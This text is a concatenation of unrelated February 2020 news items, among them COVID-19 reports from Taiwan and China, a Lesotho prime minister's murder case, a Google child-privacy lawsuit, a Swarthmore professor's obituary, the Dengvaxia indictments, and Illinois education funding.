Inspector-General of Police(IGP)Monitoring Unit. Responding, Justice Sadiq, said that the police ought to have reported back to the court if the Wuye Division was unable to handle the case before taking the unilateral decision of transferring the case to the IGP monitoring unit. The judge terminated his earlier order directing the police to investigate the case. He made a new order that the SSS carry out the investigation. We hereby terminate the order of investigation given to the police in respect of this matter and order the DSS to investigate it, he ruled. PITTSBURGH, Feb. 21, 2020 /PRNewswire/ -- "I invented this educational pack because I wanted to help parents teach their kids with fun, yet educational concepts, and also have kids interact in a creative way," said an inventor from Saginaw, Texas. "I thought this would be a great way to improve and stimulate their minds and help parents teach along the way." She created a prototype for the patent pending MY EDUCATIONAL PACK to help children learn to read, form sentence structures and match symbols, shapes, etc. The kit incorporates learning into everyday activities. It can be incorporated into birthday parties, DIY projects, art classes and family fun. The kit is producible in a variety of child-friendly themes. Additionally, it enables children to start learning at a younger age. The original design was submitted to the Dallas sales office of InventHelp. It is currently available for licensing or sale to manufacturers or marketers. For more information, write Dept. 18-DLL-3624, InventHelp, 217 Ninth Street, Pittsburgh, PA 15222, or call (412) 288-1300 ext. 1368. Learn more about InventHelp's Invention Submission Services at http://www.InventHelp.com. SOURCE InventHelp Related Links http://www.inventhelp.com Share this article Whatsapp Facebook Twitter Linkedin Editorial Board (The Jakarta Post) Jakarta Fri, February 21, 2020 08:09 691 7f440ff09e92db75a02bbad2065b803f 1 Editorial #Editorial,state-visit,Jokowi,Indonesia,united-states,bilateral-relations,Donald-Trump Free Some five years after his last visit to the United States, President Joko Jokowi Widodo finally looks set to visit Washington, DC, next month for an audience with US President Donald Trump, a diplomatic goal that has so far eluded Southeast Asias largest nation. Armed with proposals to overhaul whole swathes of legal red tape that have so far prevented the country from maximizing its investment potential, Jokowi will need all the help he can get to gain the good graces of a superpower that has grown increasingly self-serving in the geopolitical landscape and more defiant of the multilateral trade system. While signs of incoming US private funding have been encouraging, the government will need to really check its privileges when the two presidents finally meet. Coordinating Maritime Affairs and Investments Minister Luhut Pandjaitan has played a central role in persuading the US International Development Finance Organization to invest in Indonesia, which will undoubtedly help with the countrys image abroad. But how much does Indonesia stand to gain from this visit? Economically, Indonesia is still on Washingtons top-20 list of countries with unfair trade practices, code for a significant trade surplus that Trump seeks to rectify, as the US looks to compete with Chinas massive Belt and Road infrastructure push. And by representing tech giants like Google and Facebook, as well as other big-name firms like General Electric, Boeing and Chevron, there is a lot of incentive to hand on a silver platter. Politically, the US wields much more power than Indonesia on the world stage and this has restricted Jakartas diplomacy in the Middle East conflict, among other issues. But when political favors are asked in return for a trade or investment deal, Jokowi should know where to draw the line. His affinity for folk stories might prove useful in this scenario. For a middle-power country like Indonesia not to be trampled by two fighting giants like the US and China, it needs to operate in a way that is both agile and clever. Indonesia should emulate the sly movements of the mouse deer, which manages to outwit a boar in the tale of The Mouse Deer and The Arrogant Wild Boar. In some versions of the fable, the tiny mouse deer challenges the bigger sharp-tusked boar to a fight over its place in the jungle. If the mouse deer loses, the boar can proceed to eat its flesh and continue its claim to be the king of the jungle. But if it loses, the boar must leave the jungle forever. The allegories that might arise from this tale may be suspect, but in the end it is the ever-resourceful mousedeer that comes out of the fight unscathed, aided by an almost invisible mask that it had prepared before the challenge was announced. To wit, Jokowi must be fully prepared when he makes the journey to Washington to meet with Trump, or risk being outwitted by a partner that while he may not be a model Samaritan still wields the most geopolitical power in this uncertain world. CECC confirms source of virus infection that caused death of driver ROC Central News Agency 02/20/2020 10:05 PM Taipei, Feb. 20 (CNA) A Taiwanese businessman who recently returned from Zhejiang Province in China has been confirmed as the source of the novel coronavirus (COVID-19) that caused the death of a 61-year-old limousine service driver from central Taiwan, the Central Epidemic Command Center (CECC) said Thursday. The man was found to have come into contact with the victim through his cab service, the day he returned from China on Jan. 22, the CECC said. Results of two subsequent tests carried out by National Taiwan University Hospital and Academia Sinica, Taiwan's top research institution, showed Thursday that the man's blood contained the virus' antibody, indicating that at one point in time he was infected, the center explained. The driver was the 19th confirmed case in Taiwan, and the first to die from COVID-19 in the country last Sunday. He also passed on the virus to four relatives during a family gathering on Jan. 27. The CECC said 248 people were identified as having come into contact with the businessman, of whom 217 have so far tested negative for the virus while 26 other results are pending. Concerning the 24th confirmed case in Taiwan, Health Minister Chen Shih-chung (), who heads the CECC, said Thursday that the health authority was able to pinpoint 352 people who came into contact with the female patient, who is in her 60s and lives in northern Taiwan. Among them, 118 were people she encountered when out of her home, while nine are family members and the remainder hospital workers when she sought medical attention for a fever and cough from Jan. 22 and Jan. 29. So far, 111 have tested negative for the virus, Chen said. The latest case also marks a first for Taiwan in that it is unknown how the woman was infected with COVID-19, despite having no history of overseas travel for the past two years. Meanwhile, the Centers for Disease Control and Prevention (CDC) in the United States included Taiwan, alongside Japan Singapore, South Korea, Thailand and Vietnam Wednesday, on a list of destinations with an apparent community spread of the Wuhan virus. "Community spread means people have been infected with the virus, including some who are not sure how or where they became infected. At this time, the extent of virus spread is not sustained or widespread enough to meet the criteria for a travel notice," the U.S. authority posted on its website. On Thursday, President Tsai Ing-wen () indicated that coronavirus incidences in the country are considered sporadic cases that should not be classified as community-level transmission. The health minister and Taiwan's Ministry of Foreign Affairs (MOFA), have already urged the CDC in the U.S. to remove Taiwan from its warning list. Community spread ofthe virus can only be declared when four criteria are met in Taiwan, MOFA spokeswoman Joanne Ou () said, noting that they include when health authorities fail to identify the source of infection of confirmed cases, when there are far more indigenous cases of the virus than imported cases, when there is a continuous chain of infection and when there are widespread cluster cases. (By Kuan Tuan-pin, Chen Wei-ting, Chen Yun-yu, Chen Chi-chung and Ko Lin) Enditem/AW NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Reuters New Mexico Attorney General Hector Balderas on Thursday sued Alphabet Inc's Google search engine, alleging that its educational software collects young students' personal information without the required parental consent. Google called the allegations "factually wrong" and did not respond to a request to elaborate. The company sells its Chromebook laptops to schools around the world alongside its free or low-cost G Suite for Education software package, which includes email and writing tools. (Also read: Facebook Messenger VP discusses privacy as company works on integrating all its chat tools) Brian McMath, an assistant attorney general under Balderas, said recent testing by his team and outside technical experts found that students aged below 13 who are given Chromebooks by their schools have their Web browsing, location, passwords and other personal information transmitted to Google. The lawsuit states that Google failed to gather "verifiable parental consent" before collecting the data, a violation of the Children's Online Privacy Protection Act. McMath said while there was no evidence that Google had misused the students' personal information, he was concerned that the company might generate revenue from the data. Google spokesman Jose Castaneda said "G Suite for Education allows schools to control account access and requires that schools obtain parental consent when necessary." The Federal Trade Commission, which oversees the child privacy law, has said that school districts essentially provide the consent when evaluating and purchasing educational software. But Balderas and about two dozen other state attorneys general last year urged the FTC to reconsider, contending that it gave companies such as Google too much latitude to track children under 13 without their parents' knowledge. In 2018, Balderas sued Google and a few other tech companies, accusing them of illegally collecting data from mobile apps made for children. The companies have denied any wrongdoing, and the case awaits a decision by a federal judge. In September, Google's YouTube video service was asked to pay the FTC $170 million (132 million pounds) to settle allegations that it broke federal law by collecting personal information about children. Social media companies have been facing regulatory scrutiny globally over their policies and data monitoring practices, particularly for children. On 4 February, Facebook Inc said it planned to add new tools and features for parental control in its messaging app for users under the age of 13. Lesotho's Prime Minister Thabane addresses the 73rd session of the United Nations General Assembly at U.N. headquarters in New York By Tim Cocks MASERU (Reuters) - Lesotho Prime Minister Thomas Thabane left the country, skipping a court appearance on Friday at which he was expected to be charged with murdering his estranged wife. Thabane, 80, had been due in court at 9 a.m. (0700 GMT) over the death of Lipolelo Thabane, who was shot dead in June 2017 two days before he took office for a second stint as prime minister. Police had said on Thursday that Thabane was to be charged with Lipolelo's murder. His present wife, Maesaiah Thabane, 42, who married Thabane two months after Lipolelo was shot dead, has already been charged with ordering the killing and is free on bail. The prime minister and his new wife both deny any role in Lipolelo's death. Thabane's son Potlako told Reuters by telephone that his father was in South Africa "to see a doctor." "He's not fled the country," Potlako Thabane added. The murder case has caused turmoil in the tiny state of 2 million people encircled by South Africa. The prime minister has said he will resign and several politicians have been jostling to take over. Lesotho has a long history of instability and has seen a number of military coups since independence from Britain in 1966. The army has not taken sides this time around, so a coup is not yet seen as likely. Thabane's private secretary Thabo Thakalekoala said the prime minister would be back in Lesotho some time this weekend. Lipolelo, then 58, and Thabane were going through an acrimonious divorce when an unidentified assailant shot her dead in her car. Deputy Police Commissioner Paseka Mokete told a news conference that if Thabane tried to flee justice, police would issue an arrest warrant. "An arrangement will be made for him to appear and be formally charged. We shall resort to legal means to bring the prime minister to court," Mokete added. POLITICAL INSTABILITY Thabane told a Lesotho radio station on Thursday that he would step down at the end of July, but he did not mention the case and instead cited old age. His All Basotho Convention (ABC), the main party in the governing coalition, had given him a deadline of Thursday to resign. Story continues With no clear front-runner to succeed Thabane in the ABC and some opposition leaders clamouring for the job, some analysts expect another general election soon. "While Mr Thabane's departure promises some progress in reforming the political quagmire of Lesotho politics and security issues, it also holds some danger," said NKC Research political analyst Gary van Staden. In 2014, Thabane fled Lesotho for South Africa after the army surrounded his residence and police stations in the capital Maseru. He later returned under South African police escort. In 1998 at least 58 locals and eight South African soldiers died during a political stand-off and subsequent fighting. Van Staden said he wasn't expecting another military intervention for now but that a contested race to succeed Thabane could cause political instability. (Additional reporting by Mfuneko Toyana in Johannesburg Writing by Alexander Winning; Editing by Peter Graff) Harold E. Pagliaro, 94, a Swarthmore College professor who devoted his life to teaching and writing about English literature after experiencing the horror of World War II combat, died Saturday, Feb. 15, of cancer at his home in Swarthmore. Called Harry, he was a renowned scholar of 18th-century English literature and a guide and mentor to students and colleagues during 28 years at the college. Harry taught and led with great wisdom and vision, said Swarthmore president Valerie Smith. After retiring in 1992, he remained a respected figure on campus. He wrote sonnets and three books, including a chilling account of what it was like to fight with the Allied forces on the front lines in Europe. A memoirist and poet as well as a scholar, Harry remained dedicated to literary arts in his retirement as well as his teaching career, said Professor and Chair of English Literature Betsy Bolton. His passion for his subject was so great that he made notes in the margins of important books in the college library. It was as if his seminar teaching could not be constrained to the time and space of a classroom, Bolton said. Philip Weinstein, a retired professor of English literature, said Dr. Pagliaro was so familiar with Western literature that he seemed to embody the values associated with the humanities. Intensely intellectual, fiercely alert, a productive scholar of Romanticism as well as a loyal defender of Swarthmore College, Harry contributed immeasurably" to the school, Weinstein said. Born and raised in the Bronx, N.Y., Dr. Pagliaro graduated from high school in Portsmouth, Va., where his family had moved for his fathers engineering job. When he returned to New York, Dr. Pagliaro enrolled at Columbia College in Manhattan and studied engineering at his fathers request. After two semesters, he was drafted into the Army at 18. Trained at Fort Benning, Ga., Dr. Pagliaro was deployed directly to the European front as a solo replacement soldier. No fellow trainees went with him to his assignment in France. He survived near-constant danger and injuries, ultimately receiving a Purple Heart and a Bronze Star. The experiences haunted him for the rest of his life, said Peter Schmidt, a Swarthmore professor of English literature. After being discharged from the Army in 1945, Dr. Pagliaro earned bachelors, masters, and doctoral degrees in literature from Columbia University. He taught literature and Romantic poetry before joining Swarthmores faculty in 1964. His reputation preceded him: Even before he arrived on campus, 50 students signed up for one of his poetry classes. Dr. Pagliaro told the college: I wanted to give a real shape to my life, to commit myself to a profession that would quicken the best part of me in useful work. He was the author of a 1987 book on the English writer William Blake, Selfhood and Redemption in Blakes Songs, and two critical editions, The Journal of a Voyage to Lisbon (1963) and Major English Writers of the Eighteenth Century (1969). In 1970, Dr. Pagliaro became a full professor. He chaired the English literature department and the humanities division at various times. In 1974, he was named the colleges second provost and served until 1979. On finding a cache of letters he had written to his parents from the front, he set out to tell of his war experiences. His 1996 book, Naked Heart: A Soldiers Journey to the Front, described fighting beside combat veterans with whom he had had no prior contact. At extreme risk in battle, he knew nothing about the mission, the strength of the enemy, or the importance of the objective. This lack of information added to his fear, he wrote. The anxiety ended when German shell fragments shattered his lower leg. He was removed from the front and spent nine months recovering. The experience left him grateful for his life. I would not give up the experience of war even if I could, he told interviewers. But I would kill or die before letting anybody force me to repeat it. His other later works included Henry Fielding: A Literary Life (1998) and Relations Between the Sexes in the Plays of George Bernard Shaw (2004). Dr. Pagliaro was married to Marjorie Strickland. They divorced, and she died in 2010. He married again in 1966. Besides his wife, Judith Egan Pagliaro, he is survived by children Robert, Susanna, and John; a son, Blake, from his first marriage; five grandchildren; and a great-grandchild. Plans for a memorial service were pending. A former coronavirus patient has tested positive 10 days after being allowed to leave the hospital and go home, sparking fears that recovered sufferers may still carry the lethal virus. State media said the person was discharged from a hospital in a Chinese city earlier this month and then went into self-quarantine straight away. Experts suspected that doctors had not given the patient accurate virus tests before declaring his recovery. A former coronavirus patient has tested positive 10 days after being allowed to leave the hospital and go home, sparking fears that recovered sufferers may still carry the lethal virus. Pictured, a patient is discharged from Leishenshan Hospital in Wuhan on February 18 Experts suspected that doctors had not given the patient appropriate virus tests. The picture shows a medic records a patient's condition at Jinyintan Hospital in Wuhan on February 16 The individual, who remains unidentified, lives in Chengdu in south-western China's Sichuan Province, according to People's Daily. Community officials claimed that the person and their family members had been in isolation since the person's recovery. The family had not left their home until February 19 when they were taken to a medical centre for tests. Surprisingly, results came back positive for the former patient. Officials took the patient and their family members to the Public health Clinical Center of Chengdu to be quarantined on the same day. The news sparked panic on Chinese social media. Some users feared that there were many more cases like this; while others urged the hospitals to raise their standard of testing. On Twitter-like Weibo, one person wrote: 'This news is too scary. There are so many recovered cases, how many more people are in this situation?' Another netizen commented: 'Based on this case, it is very necessary to keep the recovered patients in quarantine for two weeks. This cannot be taken slightly for avoiding further spread [of the virus].' Globally, the coronavirus epidemic has killed at least 2,249 people, infected more than 76,700 and spread to at least two dozen countries. A medical worker is pictured treating a patient at an isolation ward at a hospital in south-western China's Chongqing on February 1 Originating in the central Chinese city of Wuhan, the new virus has infected more than 75,400 people inside China and 76,700 globally. In the picture above, a security staff member checks a passenger's temperature at Chongqing Jiangbei International Airport on January 26 A third reader speculated on the possible causes of the case: 'Two possibilities. First, their family members are virus carriers who show no symptoms and they were not detected in previous tests, so the patient was infected again. Second, the patient had a false recovery. The virus did not disappear completely, and then re-appeared.' One expert said the patient's case was rare but not unheard of. Dr Lei Xuezhong, the deputy director of the Centre of Infectious Disease at Huaxi Hospital, claimed that the change of the standard of the virus test could be the cause. Dr Lei speculated that medics took a tissue sample from the patient's upper respiratory tract instead of the lower respiratory system in the hospital. 'As one's illness develops, it is most likely that virus would be detected in the sample from the lower respiratory tract,' Dr Lei told Red Star News. The novel coronavirus has killed at least 2,249 people and infected more than 76,700 globally Over 2,200 people have now died from the killer coronavirus rapidly sweeping the world More than 76,700 patients have been infected, including more than 1,000 outside of China The expert said that a testing method required all samples to come from patients' lower respiratory tract. Dr Lei also demanded all recovered patients carry out 14 days of self-isolation and keep daily records of their health condition. The new virus, known as COVID-19, has infected more than 75,400 people inside China and 76,700 globally. The Chinese government has locked down tens of millions of people in Hubei Province, where the virus emerged, to prevent the spread of the disease. Hubei accounts for more than 80 per cent of the confirmed cases and 95 per cent of the deaths worldwide. Hubei health officials have shifted hundreds of coronavirus patients off the daily toll causing a nationwide outcry. The picture above, taken on February 18, shows an overview of a temporary coronavirus hospital which has been converted from an exhibition center in Wuhan Ying Yong, the newly appointed Community Party chief of Hubei, today banned the regional health authority from taking out any cases from its daily tally. The picture shows medical workers treat patients in the isolated intensive care units at a hospital in Wuhan on February 6 Meanwhile, Iran has confirmed 13 new cases of the killer virus as well as two new deaths, bringing its total fatalities to four, the highest outside of mainland China. Italy also announced three new cases of SARS-CoV-2 after a 38-year-old man caught it from a friend, who had recently returned from China and infected his wife and a close friend. The man is said to be in 'very serious condition' and struggling to breathe in an intensive care unit. And cases in South Korea have soared, with investigators focusing on a church and hospital in the southern city of Daegu as clusters of infection. Overnight, health officials from Hubei reported 631 new cases out of a nationwide total of 889 and 115 of the 118 new deaths across China. Globally, the coronavirus epidemic has killed at least 2,249 people, infected more than 76,700 and spread to at least two dozen countries. The condition of the injured person is stated to be critical Kolkata: Four persons were killed and one injured after their car collided with a dumper truck at Birpara area in West Bengal's Alipurduar district on Friday, police said. The MUV they were travelling in was left in a mangled state following the accident that took place early morning, they said. All the five men were rushed to a local hospital, where four were declared brought-dead, a police officer said. The condition of the injured person is stated to be critical, he said. Police said the cause of the incident is being investigated. Former Philippine Health Secretary Janette Garin testifies in Pasay City during a Philippine Senate probe into the controversial anti-Dengue vaccine Dengvaxia, which was administered to more than 830,000 school children and adults as part of the government's Dengue immunization program, Dec. 11, 2017. Philippine prosecutors have indicted an ex-health minister and nine other people over the deaths of at least a dozen schoolchildren who were given the anti-dengue drug Dengvaxia as part of a government immunization drive against the mosquito-born disease, officials said. Former Health Secretary Janette Garin, now a member of the House of Representatives, and the others were charged with reckless imprudence resulting in homicide, according to a 127-page document made public by the Philippine Department of Justice on Friday. The nine others include officials from the Philippine health department, Food and Drug Administration, the Research Institute for Tropical Medicine, as well as executives from Sanofi Pasteur, the French firm that designed and manufactured Dengvaxia, which has been banned in the Philippines. Prosecutors with the justice department said they found that Garin and the others had exhibited inexcusable lack of precaution and foresight when they quickly facilitated the registration and purchase of Dengvaxia. When contacted for comment on Friday, Garin said she had not yet received a copy of the indictment, but she insisted that the vaccine was a life-saving vaccine in a country that has long grappled with dengue. I will face this head on because I know the truth, Garin told BenarNews, adding that the courts had earlier thrown out six similar cases against her for lack of basis and substance. Science has proven over and over again that no deaths have been linked to the Dengvaxia vaccine, she said. Almost the whole world is using it now and no case like ours has surfaced. The government ordered the use of Dengvaxia, the first commercially-available anti-dengue drug, stopped in December 2017 after nearly 800,000 elementary school students had received the vaccine as part of a nationwide inoculation program. At least 14 boys and girls died after being given Dengvaxia during the campaign from 2016 to 2017, officials said, though experts did not rule conclusively that the drug was the cause. The Philippines was the first country in Southeast Asia where Dengvaxia was publicly released. Then-President Benigno Aquino III approved its release before he stepped down in 2016. The government of his successor, Rodrigo Duterte, banned the drug after Sanofi revealed that clinical tests had shown that the vaccine worked well with those who had already been previously infected with dengue. However, the French drug manufacturer warned at the time, for those not previously infected by the virus, the analysis found that in the longer term, more cases of severe disease could occur after vaccination. Sanofi said it would clearly label the new finding on vaccine containers. But since the drug was taken off the shelves, dengue infections and deaths have risen sharply in the Philippines. In July 2019, the health department reported a 250 percent increase in cases from 2018. Nearly a 100 people have also died in that same period, most of them in the central Philippine islands, health officials said. Garin said what was deplorable was allowing more deaths because the only drug that could have stopped dengue had been banned in the Philippines. After the dengue vaccine scare, many other families have shied away from having their children injected with other drugs, leading to a spike in measles and a resurgence of polio here, she said. In this situation, real justice is listening to science rather than politicking, Garin said, referring to her detractors. Jojo Rinoza contributed to this report from Dagupan City, Philippines. Democratic presidential candidate Mike Bloomberg at the primary debate in Las Vegas on Feb. 19, 2020. Read more Mike Bloomberg took plenty of punches in his debut on the Democratic debate stage Wednesday night. But will the two-hour onslaught of attacks actually leave any lasting scars on his candidacy? Dont be so sure. After all, Bloomberg has already spent hundreds of millions of dollars on advertising, fueling his rise in the polls, and hes sure to spend hundreds of millions more. That includes $16.6 million spent on broadcast, cable, and radio commercials across Pennsylvanias six media markets as of Thursday, according to Advertising Analytics. The ad-tracking firm estimated that Bloombergs TV spending would translate into 5.8 million Pennsylvania adults age 35 and over seeing his ads. A Democratic media buyer unaffiliated with a 2020 campaign said that back-of-the-envelope figure was likely low. And that doesnt even include digital ads. He has been omnipresent on TV, this media strategist told us. Most Pennsylvanians watch TV. $1 million in Erie! He could have bought the ABC affiliate there for that money. And the debate? NBC and MSNBC, citing Nielsen Fast National Data, said Thursday that it was the most-watched Democratic debate in television history, reaching almost 20 million viewers across the two networks. It also attracted 13.5 million live stream viewers, the networks said. Thats across the entire United States. Pennsylvania makes up about 4% of the U.S. population. Put another way, the number of Pennsylvania adults who have seen Bloomberg ads is roughly 30% of the debates nationwide television viewership or 17% if you include live stream viewers. So more people are seeing his ads than watched the debate. And probably a lot more. PHILADELPHIA -- The Pezcoller Foundation-AACR International Award for Extraordinary Achievement in Cancer Research will be presented to John E. Dick, PhD, Fellow of the AACR Academy, at the AACR Annual Meeting 2020, to be held April 24-29 in San Diego. Dick will deliver his award lecture on Sunday, April 26, from 12:15 to 1 p.m. PT at the San Diego Convention Center in Ballroom 20A-C. Dick is being honored for discovering and characterizing the mechanisms by which stem cells contribute to normal and leukemic hematopoiesis. He is widely recognized for his seminal discovery of leukemic stem cells and for developing the first hematopoietic xenograft assay using human hematopoietic cells transplanted into immune-compromised mice, a technique capable of giving rise to distinct blood lineages. Using this assay, Dick has developed xenograft models of human acute lymphoid leukemia, acute myeloid leukemia, and chronic myeloid leukemia that have provided crucial insights into the onset and progression of such diseases. Dick's findings uncovered a gene signature of leukemia stemness that can be used to predict survival rates and response to treatment. In addition, this gene signature has provided actionable targets for drug development, led to the identification of preleukemic mutations in normal hematopoietic cells, and laid the groundwork for three drugs currently being tested in clinical trials. "Dr. Dick is a distinguished scientist who has been a world leader in the fields of cancer stem cell biology and hematopoiesis for decades," said Margaret Foti, PhD, MD (hc), chief executive officer of the AACR. "His pioneering research has been integral to advancing our understanding of the development of normal blood cells and blood cancers, and has provided new opportunities for therapeutic targeting. We look forward to honoring Dr. Dick with the 2020 Pezcoller Foundation-AACR International Award for Extraordinary Achievement in Cancer Research." The Pezcoller Foundation-AACR International Award for Extraordinary Achievement in Cancer Research was established in 1997 to annually recognize a scientist who has made a major scientific discovery in basic or translational cancer research. The awardee must be active in cancer research, have a record of recent noteworthy publications, and be conducting ongoing work that holds promise for continued substantive contributions to progress in the field of cancer. Dick is the Canada Research Chair in Stem Cell Biology, a senior scientist at the Princess Margaret Cancer Centre, and an investigator at the McEwen Stem Cell Institute at the University Health Network in Toronto. Additionally, Dick is a professor of Molecular Genetics at the University of Toronto, and co-leader of the Acute Leukemia Translational Research Initiative for the Ontario Institute for Cancer Research. Dick has also served as a senior scientist in the Department of Genetics at the Research Institute of the Hospital for Sick Children. He has been a member of the AACR since 2006 and was elected as a Fellow of the AACR Academy in 2016. He earned his doctoral degree in microbiology and biochemistry at the University of Manitoba. In addition to receiving the AACR G.H.A. Clowes Memorial Award in 2008, Dick has been honored with many other awards throughout his career, including the International Society for Stem Cell Research Award for Innovation (2019), American Society of Hematology Mentor Award in Basic Science (2018), Canadian Institutes of Health Research Gold Leaf Prize for Discovery (2017), Keio Medical Science Prize (2017), Elected Fellow of The Royal Society (2014), Canadian Cancer Research Alliance Award for Outstanding Achievements in Cancer Research (2013), American Society of Hematology E. Donnall Thomas Prize (2009), University of Adelaide Clifford Prize for Cancer Research (2009), Israel Cancer Research Fund Men of Distinction Award (2009), International Society for Experimental Hematology Donald Metcalf Award (2007), National Cancer Institute of Canada Diamond Jubilee Award (2007), American Society of Hematology Dameshek Prize (2005), Elected Fellow of the Royal Society of Canada, Academy of Sciences (2004), Leiden University Herman Boerhaave Medal (2002), National Cancer Institute of Canada Robert L. Noble Prize for Excellence in Cancer Research (2000) and the Canadian Institutes of Health Research Michael Smith Prize (1997). ### Follow the AACR Annual Meeting on Twitter: #AACR20 Follow us: Cancer Research Catalyst http://blog.aacr.org; Twitter @AACR; and Facebook http://www.facebook.com/aacr.org For AACR information, visit Fast Facts. About the American Association for Cancer Research Founded in 1907, the American Association for Cancer Research (AACR) is the world's first and largest professional organization dedicated to advancing cancer research and its mission to prevent and cure cancer. AACR membership includes more than 46,000 laboratory, translational, and clinical researchers; population scientists; other health care professionals; and patient advocates residing in 127 countries. The AACR marshals the full spectrum of expertise of the cancer community to accelerate progress in the prevention, biology, diagnosis, and treatment of cancer by annually convening more than 30 conferences and educational workshops, the largest of which is the AACR Annual Meeting with more than 22,500 attendees. In addition, the AACR publishes eight prestigious, peer-reviewed scientific journals and a magazine for cancer survivors, patients, and their caregivers. The AACR funds meritorious research directly as well as in cooperation with numerous cancer organizations. As the Scientific Partner of Stand Up To Cancer, the AACR provides expert peer review, grants administration, and scientific oversight of team science and individual investigator grants in cancer research that have the potential for near-term patient benefit. The AACR actively communicates with legislators and other policymakers about the value of cancer research and related biomedical science in saving lives from cancer. For more information about the AACR, visit http://www.AACR.org. For more information about the Pezcoller Foundation, visit http://www.pezcoller.it/en/. SPRINGFIELD Education funding is once again top of mind at the Capitol, with a key cog of Gov. JB Pritzkers fiscal year 2021 budget proposal addressing the matter already facing pushback. At issue is the states three-year-old K-12 education funding system, known as the evidence-based model. For the fourth straight budget year, lawmakers are discussing how many hundreds of millions of dollars in additional funding that formula will receive as compared to a year ago. Gov. JB Pritzker laid out two scenarios for K-12 funding in his Wednesday budget address, which only details his priorities ahead of months of negotiations in the General Assembly. The first adds the full statutory target of $350 million in new funding to the formula next fiscal year, which begins July 1. The second would add $200 million in new funding. Under the tentative proposal, which of the scenario plays out would depend on whether voters approve a constitutional amendment in the November general election to scrap Illinois 4.95 percent flat income tax and allow the state to charge higher rates on higher levels of income. If the amendment passes essentially raising the tax burden on earners making more than $250,000 a year while maintaining or lowering it modestly for all others government forecasters predict the state would have an extra $1.4 billion to spend in the fiscal year, allowing for the added $150 million in K-12 funding. The graduated tax-free budget holds $40 million in reserve for categorical payments to school districts for programs such as special education and transportation on the contingency of the graduated tax passage as well. Republicans lampooned the dual budget proposal as one that holds added investment in education hostage as a marketing ploy for Pritzkers graduated tax. This bullying tactic to hold funding to our schools hostage, and our students, in order to get his way, not only is irresponsible but represents a false choice, Rep. Avery Bourne, R-Raymond, an assistant minority leader in the House, said in a news conference Thursday. Democrats including two of the lead architects of the evidence-based model were lukewarm on the idea as well, but they acknowledged its the first step in a long process of budgetary negotiations. State Sen. Andy Manar, D-Bunker Hill, led the Senate Democrats in negotiations for the evidence-based formulas passage in 2017. On Thursday, he said in an interview he would support full funding for the $350 million regardless of the graduated taxs passage. It's day one of the budget making process and there's multiple ways to achieve what I think most people want to achieve, which is at the end of fiscal year 21 (which runs July 1, 2020 to June 30, 2021), we will have put minimum $350 million more into the evidence-based formula, he said. The $350 million number is defined as a target in statute, with the goal of bringing all districts to 90 percent of funding adequacy by 2027. Another goal is to drive down local property taxes by reducing the need for school boards to raise their property tax levies each year to meet spending needs. The formula determines the level of funding need for each district individually through an adequacy target determined by several variables tied to student performance. It separates districts into four tiers one being the least funded, four being the most and distributes 99 percent of new funding to the lowest two tiers with the majority going to Tier 1. But the statute also has a secondary formula that kicks in if the full $350 million number is not met. The secondary formula directs an even larger share of new funding to Tier 1 districts. Republicans questioned whether a budget appropriating $350 million but holding $150 million of that in reserve would affect which formula kicks in, and Manar said that critical question would have to be addressed in budget negotiations. Manar and Rep. Will Davis, a Homewood Democrat and House sponsor of the evidence-based formula when it passed, argued this week that for all districts to meet adequacy in the laws original 10-year target window, the state should be contributing hundreds of millions more on top of the $350 million. I believe that if (education is) truly priority not only can we allocate the $350 million that the governor is referring to, but believe it or not, I think we can do better. If we prioritize it, we can put as much as a half a billion new dollars in K through 12, Davis said in a news conference following the budget address. According to an analysis by the non-profit think tank Center for Tax and Budget Accountability, the actual number needed to get the state to adequacy in 2027 is $7.35 billion, or about $780 million in total added funding each year. Manar said hed ideally like to see that number hit, but acknowledged that the $350 million number was a product of negotiations which led to the 2017 passage of the bill, not an actual avenue to adequacy within the specified time frame. He also said funding less than the $350 million could drive Tier 2 districts down to Tier 1. For Bourne and House Republicans, though, the prospect of $150 million that may or may not be realized this year means instability for local schools and the potential of upward property tax pressures. What the governor proposed, this two-step approach, does not guarantee fully funded schools and it will force their budgeting process to make difficult decisions without the certainty of knowing what the state will be sending them, she said. But Manar said three straight years of funding increases totaling more than $900 million have schools in a much better place than they were five years ago, when state budgeting conversations centered around what extent K-12 budgets would be prorated each year. He also said the process of district and state budgeting always intertwines to create some uncertainty, and this year is no different. While Manar said he believes in the governors commitment to education, Republicans were not the only ones putting Pritzkers budget proposal on blast. Robin Steans, president of Advance Illinois, an independent public education policy organization, said in a statement she was deeply disappointed in the governors dual budget approach. In a world where the current Minimum Funding Level wont get us to full funding in the promised ten-year timeframe, and where we want schools to put new dollars to work for children as quickly and effectively as possible, the FY21 investment strategy is devastating, she said in a news release. Both chambers of the General Assembly will have to approve a budget before Pritzker can sign it into law, and the process is generally scheduled to conclude at the end of May. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Four research teams at Columbia University will share a $2.1 million grant to mount an aggressive effort to identify potential antiviral drugs and antibodies for use against the new coronavirus, 2019-nCoV. The funding was awarded by the Jack Ma Foundation, based in Hangzhou City, Zhejiang Province, China. As part of the project, the Columbia scientists will collaborate with academic researchers in China who are fighting to control the outbreak. The Columbia teams will pursue four different approaches to develop drugs or antibodies that prevent the virus from replicating. Each approach will draw on prior knowledge and expertise the scientists gained while working on successful antiviral therapies against HIV and hepatitis C. If administered before an infection takes place, such a drug or antibody could confer protection against infection by 2019-nCoV. In individuals who are already infected, an effective antiviral drug or antibody could block the continued growth of the virus in patients who are seriously ill. The Columbia effort is being led by David D. Ho, MD, founding scientific director of the Aaron Diamond AIDS Research Center and professor of medicine at Columbia. Three of the Columbia teams are in the Vagelos College of Physicians and Surgeons, and the fourth is in the School of Engineering and Applied Sciences. The Columbia teams will pursue projects aimed at identifying or developing two types of antiviral drugs and one type of virus-neutralizing antibody: Protease inhibitors. Viruses rely on enzymes, called proteases, to allow them to cut their larger proteins into smaller and proper components in order to replicate. Drugs that inhibit the activity of proteases have been used with tremendous success to treat HIV and hepatitis C. A team led by Alex Chavez, MD, PhD will use a new drug screening approach to rapidly screen a large number of compounds that block the protease of 2019-nCoV. His team, in conjunction with Dr. Ho, will attempt to select a handful of positive hits to develop into drug candidates, with the goal of advancing at least one compound into clinical trials. Polymerase inhibitors. In order for coronaviruses to copy their RNA and replicate, they rely on a crucial enzyme called polymerase. A Columbia team led by Stephen Goff, PhD, and Yosef Sabo, PhD, will produce large quantities this enzyme and then screen hundreds of thousands of chemical compounds to identify ones that inhibit the function of the enzyme and thereby block replication of the virus. The most promising ones will, again, be selected as drug candidates for treatment or prevention of 2019-nCoV. Jingyue Ju, PhD, and his team will pursue a different 